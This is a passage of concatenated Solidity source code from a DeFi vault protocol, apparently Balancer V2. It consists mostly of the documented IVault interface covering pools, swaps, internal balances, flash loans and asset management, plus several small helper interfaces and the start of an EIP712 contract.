uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_enterNonReentrant();
_;
_exitNonReentrant();
}
function _enterNonReentrant() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
_require(_status != _ENTERED, Errors.REENTRANCY);
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _exitNonReentrant() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "../../lib/openzeppelin/IERC20.sol";
import "./IWETH.sol";
import "./IAsset.sol";
import "./IAuthorizer.sol";
import "./IFlashLoanRecipient.sol";
import "../ProtocolFeesCollector.sol";
import "../../lib/helpers/ISignaturesValidator.sol";
import "../../lib/helpers/ITemporarilyPausable.sol";
pragma solidity ^0.7.0;
/**
* @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
* don't override one of these declarations.
*/
interface IVault is ISignaturesValidator, ITemporarilyPausable {
// Generalities about the Vault:
//
// - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are
// transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling
// `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by
// calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning
// a boolean value: in these scenarios, a non-reverting call is assumed to be successful.
//
// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.
//
// - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools.
// Authorizer
//
// Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists
// outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller
// can perform a given action.
/**
* @dev Returns the Vault's Authorizer.
*/
function getAuthorizer() external view returns (IAuthorizer);
/**
* @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this.
*
* Emits an `AuthorizerChanged` event.
*/
function setAuthorizer(IAuthorizer newAuthorizer) external;
/**
* @dev Emitted when a new authorizer is set by `setAuthorizer`.
*/
event AuthorizerChanged(IAuthorizer indexed newAuthorizer);
// Relayers
//
// Additionally, it is possible for an account to perform certain actions on behalf of another one, using their
// Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions,
// and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield
// this power, two things must occur:
// - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This
// means that Balancer governance must approve each individual contract to act as a relayer for the intended
// functions.
// - Each user must approve the relayer to act on their behalf.
// This double protection means users cannot be tricked into approving malicious relayers (because they will not
// have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised
// Authorizer or governance drain user funds, since they would also need to be approved by each individual user.
/**
* @dev Returns true if `user` has approved `relayer` to act as a relayer for them.
*/
function hasApprovedRelayer(address user, address relayer) external view returns (bool);
/**
* @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise.
*
* Emits a `RelayerApprovalChanged` event.
*/
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external;
/**
* @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`.
*/
event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved);
// Internal Balance
//
// Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
// transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
// when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
// gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
//
// Internal Balance management features batching, which means a single contract call can be used to perform multiple
// operations of different kinds, with different senders and recipients, at once.
/**
* @dev Returns `user`'s Internal Balance for a set of tokens.
*/
function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory);
/**
* @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer)
* and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as
* it lets integrators reuse a user's Vault allowance.
*
* For each operation, if the caller is not `sender`, it must be an authorized relayer for them.
*/
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
/**
* @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received
without manual WETH wrapping or unwrapping.
*/
struct UserBalanceOp {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
}
// There are four possible operations in `manageUserBalance`:
//
// - DEPOSIT_INTERNAL
// Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding
// `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`.
//
// ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped
// and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is
// relevant for relayers).
//
// Emits an `InternalBalanceChanged` event.
//
//
// - WITHDRAW_INTERNAL
// Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`.
//
// ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send
// it to the recipient as ETH.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_INTERNAL
// Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_EXTERNAL
// Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by
// relayers, as it lets them reuse a user's Vault allowance.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `ExternalBalanceTransfer` event.
enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL }
/**
* @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through
* interacting with Pools using Internal Balance.
*
* Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH
* address.
*/
event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta);
/**
* @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account.
*/
event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount);
// Pools
//
// There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced
// functionality:
//
// - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the
// balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads),
// which increase with the number of registered tokens.
//
// - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the
// balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted
// constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are
// independent of the number of registered tokens.
//
// - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like
// minimal swap info Pools, these are called via IMinimalSwapInfoPool.
enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN }
/**
* @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which
* is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be
* changed.
*
* The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`,
* depending on the chosen specialization setting. This contract is known as the Pool's contract.
*
* Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words,
* multiple Pools may share the same contract.
*
* Emits a `PoolRegistered` event.
*/
function registerPool(PoolSpecialization specialization) external returns (bytes32);
/**
* @dev Emitted when a Pool is registered by calling `registerPool`.
*/
event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization);
/**
* @dev Returns a Pool's contract address and specialization setting.
*/
function getPool(bytes32 poolId) external view returns (address, PoolSpecialization);
/**
* @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens,
* exit by receiving registered tokens, and can only swap registered tokens.
*
* Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length
* of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in
* ascending order.
*
* The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset
* Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`,
* depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore
* expected to be highly secured smart contracts with sound design principles, and the decision to register an
* Asset Manager should not be made lightly.
*
* Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset
* Manager is set, it cannot be changed except by deregistering the associated token and registering again with a
* different Asset Manager.
*
* Emits a `TokensRegistered` event.
*/
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external;
/**
* @dev Emitted when a Pool registers tokens by calling `registerTokens`.
*/
event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers);
/**
* @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total
* balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens
* must be deregistered in the same `deregisterTokens` call.
*
* A deregistered token can be re-registered later on, possibly with a different Asset Manager.
*
* Emits a `TokensDeregistered` event.
*/
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external;
/**
* @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`.
*/
event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens);
/**
* @dev Returns detailed information for a Pool's registered token.
*
* `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens
* withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token`
* equals the sum of `cash` and `managed`.
*
* Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`,
* `managed` or `total` balance to be greater than 2^112 - 1.
*
* `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a
* join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for
* example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a
* change for this purpose, and will update `lastChangeBlock`.
*
* `assetManager` is the Pool's token Asset Manager.
*/
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
);
/**
* @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of
* the tokens' `balances` changed.
*
* The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all
* Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order.
*
* If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same
* order as passed to `registerTokens`.
*
* Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are
* the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo`
* instead.
*/
function getPoolTokens(bytes32 poolId)
external
view
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
/**
* @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will
* trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized
* Pool shares.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount
* to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces
* these maximums.
*
* If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable
* this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the
* WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent
* back to the caller (not the sender, which is important for relayers).
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be
* sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final
* `assets` array might not be sorted. Pools with no registered tokens cannot be joined.
*
* If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only
* be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be
* withdrawn from Internal Balance: attempting to do so will trigger a revert.
*
* This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed
* directly to the Pool's contract, as is `recipient`.
*
* Emits a `PoolBalanceChanged` event.
*/
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
/**
* @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will
* trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized
* Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see
* `getPoolTokenInfo`).
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum
* token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault:
* it just enforces these minimums.
*
* If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To
* enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead
* of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit.
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must
* be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the
* final `assets` array might not be sorted. Pools with no registered tokens cannot be exited.
*
* If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise,
* an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to
* do so will trigger a revert.
*
* `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the
* `tokens` array. This array must match the Pool's registered tokens.
*
* This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and
* passed directly to the Pool's contract.
*
* Emits a `PoolBalanceChanged` event.
*/
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external;
struct ExitPoolRequest {
IAsset[] assets;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
/**
* @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively.
*/
event PoolBalanceChanged(
bytes32 indexed poolId,
address indexed liquidityProvider,
IERC20[] tokens,
int256[] deltas,
uint256[] protocolFeeAmounts
);
enum PoolBalanceChangeKind { JOIN, EXIT }
// Swaps
//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the
// same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers).
//
// Finally, Internal Balance can be used when either sending or receiving tokens.
enum SwapKind { GIVEN_IN, GIVEN_OUT }
/**
* @dev Performs a swap with a single Pool.
*
* If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens
* taken from the Pool, which must be greater than or equal to `limit`.
*
* If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens
* sent to the Pool, which must be less than or equal to `limit`.
*
* Internal Balance usage and the recipient are determined by the `funds` struct.
*
* Emits a `Swap` event.
*/
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256);
/**
* @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on
* the `kind` value.
*
* `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address).
* Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
/**
* @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either
* the amount of tokens sent to or received from the Pool, depending on the `kind` value.
*
* Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the
* Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at
* the same index in the `assets` array.
*
* Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a
* Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or
* `amountOut` depending on the swap kind.
*
* Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out
* of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal
* the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`.
*
* The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses,
* or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and
* out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to
* or unwrapped from WETH by the Vault.
*
* Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies
* the minimum or maximum amount of each token the vault is allowed to transfer.
*
* `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the
* equivalent `swap` call.
*
* Emits `Swap` events.
*/
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external payable returns (int256[] memory);
/**
* @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the
* `assets` array passed to that function, and ETH assets are converted to WETH.
*
* If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out
* from the previous swap, depending on the swap kind.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
/**
* @dev Emitted for each individual swap performed by `swap` or `batchSwap`.
*/
event Swap(
bytes32 indexed poolId,
IERC20 indexed tokenIn,
IERC20 indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
/**
* @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the
* `recipient` account.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20
* transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender`
* must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of
* `joinPool`.
*
* If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of
* transferred. This matches the behavior of `exitPool`.
*
* Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a
* revert.
*/
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
/**
* @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be
* simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result.
*
* Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH)
* the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it
* receives are the same that an equivalent `batchSwap` call would receive.
*
* Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct.
* This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens,
* approve them for the Vault, or even know a user's address.
*
* Note that this function is not 'view' (due to implementation details): the client code must explicitly execute
* eth_call instead of eth_sendTransaction.
*/
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external returns (int256[] memory assetDeltas);
// Flash Loans
/**
* @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it,
* and then reverting unless the tokens plus a proportional protocol fee have been returned.
*
* The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount
* for each token contract. `tokens` must be sorted in ascending order.
*
* The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the
* `receiveFlashLoan` call.
*
* Emits `FlashLoan` events.
*/
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
/**
* @dev Emitted for each individual flash loan performed by `flashLoan`.
*/
event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
// Asset Management
//
// Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's
// tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see
// `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly
// controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the
// prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore
// not constrained to the tokens they are managing, but extends to the entire Pool's holdings.
//
// However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit,
// for example by lending unused tokens out for interest, or using them to participate in voting protocols.
//
// This concept is unrelated to the IAsset interface.
/**
* @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates.
*
* Pool Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different Pools and tokens, at once.
*
* For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`.
*/
function managePoolBalance(PoolBalanceOp[] memory ops) external;
struct PoolBalanceOp {
PoolBalanceOpKind kind;
bytes32 poolId;
IERC20 token;
uint256 amount;
}
/**
* Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged.
*
* Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged.
*
* Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total.
* The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss).
*/
enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE }
/**
* @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`.
*/
event PoolBalanceManaged(
bytes32 indexed poolId,
address indexed assetManager,
IERC20 indexed token,
int256 cashDelta,
int256 managedDelta
);
// Protocol Fees
//
// Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by
// permissioned accounts.
//
// There are two kinds of protocol fees:
//
// - flash loan fees: charged on all flash loans, as a percentage of the amounts lent.
//
// - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including
// swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather,
// Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the
// Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as
// exiting a Pool in debt without first paying their share.
/**
* @dev Returns the current protocol fee module.
*/
function getProtocolFeesCollector() external view returns (ProtocolFeesCollector);
/**
* @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an
* error in some part of the system.
*
* The Vault can only be paused during an initial time period, after which pausing is forever disabled.
*
* While the contract is paused, the following features are disabled:
* - depositing and transferring internal balance
* - transferring external balance (using the Vault's allowance)
* - swaps
* - joining Pools
* - Asset Manager interactions
*
* Internal Balance can still be withdrawn, and Pools exited.
*/
function setPaused(bool paused) external;
/**
* @dev Returns the Vault's WETH instance.
*/
function WETH() external view returns (IWETH);
// solhint-disable-previous-line func-name-mixedcase
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthentication {
/**
* @dev Returns the action identifier associated with the external function described by `selector`.
*/
function getActionId(bytes4 selector) external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the TemporarilyPausable helper.
*/
interface ITemporarilyPausable {
/**
* @dev Emitted every time the pause state changes by `_setPaused`.
*/
event PausedStateChanged(bool paused);
/**
* @dev Returns the current paused state.
*/
function getPausedState()
external
view
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the SignatureValidator helper, used to support meta-transactions.
*/
interface ISignaturesValidator {
/**
* @dev Returns the EIP712 domain separator.
*/
function getDomainSeparator() external view returns (bytes32);
/**
* @dev Returns the next nonce used by an address to sign messages.
*/
function getNextNonce(address user) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
bytes32 private immutable _HASHED_NAME;
